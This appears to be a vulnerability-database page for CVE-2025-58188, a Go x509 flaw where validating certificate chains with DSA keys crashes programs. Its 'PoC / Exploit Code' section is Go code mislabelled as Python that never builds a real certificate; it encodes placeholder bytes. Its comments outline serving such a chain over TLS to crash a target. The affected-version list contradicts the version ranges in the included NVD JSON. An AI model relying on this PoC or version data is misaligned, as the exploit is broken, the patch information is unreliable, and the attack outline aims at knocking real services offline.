Security Vulnerability Report
中文
CVE-2025-58188 CVSS 7.5 HIGH

CVE-2025-58188

Published: 2025-10-29 23:16:20
Last Modified: 2026-01-29 15:55:12

Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go语言 1.23.x < 1.23.4
Go语言 1.22.x < 1.22.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "crypto/dsa" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "math/big" "time" ) func generateDSACertificate() ([]byte, error) { // Generate DSA parameters var params dsa.Parameters if err := dsa.GenerateParameters(&params, rand.Reader, dsa.L1024N160); err != nil { return nil, err } // Generate DSA key pair var privateKey dsa.PrivateKey privateKey.Parameters = params dsa.GenerateKey(&privateKey, rand.Reader) // Create certificate template with DSA public key template := x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{ Organization: []string{"Test"}, }, NotBefore: time.Now(), NotAfter: time.Now().Add(365 * 24 * time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, } // Embed DSA public key in certificate (this triggers the vulnerability during chain validation) // Note: x509.CreateCertificate may not directly use Equal method // The vulnerability is triggered during Verify() when comparing public keys return pem.EncodeToMemory(&pem.Block{ Type: "CERTIFICATE", Bytes: []byte("malformed_dsa_cert_data"), }), nil } func main() { // This PoC demonstrates the vulnerability concept // In real attack scenario, attacker would: // 1. Create a certificate chain with DSA public key // 2. Serve it during TLS handshake or present it to certificate verification logic // 3. Target application will panic when trying to verify the certificate chain cert, err := generateDSACertificate() if err != nil { panic(err) } _ = cert // Use this certificate in TLS connection to trigger panic }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58188", "sourceIdentifier": "[email protected]", "published": "2025-10-29T23:16:19.740", "lastModified": "2026-01-29T15:55:11.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.24.8", "matchCriteriaId": "E1AB9501-4F7D-4E37-BA0A-4E57B082530C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.25.0", "versionEndExcluding": "1.25.2", "matchCriteriaId": "C196D175-EF20-476C-8C64-1B9F5C50AA2D"}]}]}], "references": [{"url": "https://go.dev/cl/709853", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/75675", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI", "source": "[email protected]", "tags": ["Mailing List", "Release Notes"]}, {"url": "https://pkg.go.dev/vuln/GO-2025-4013", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/08/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Release Notes"]}]}}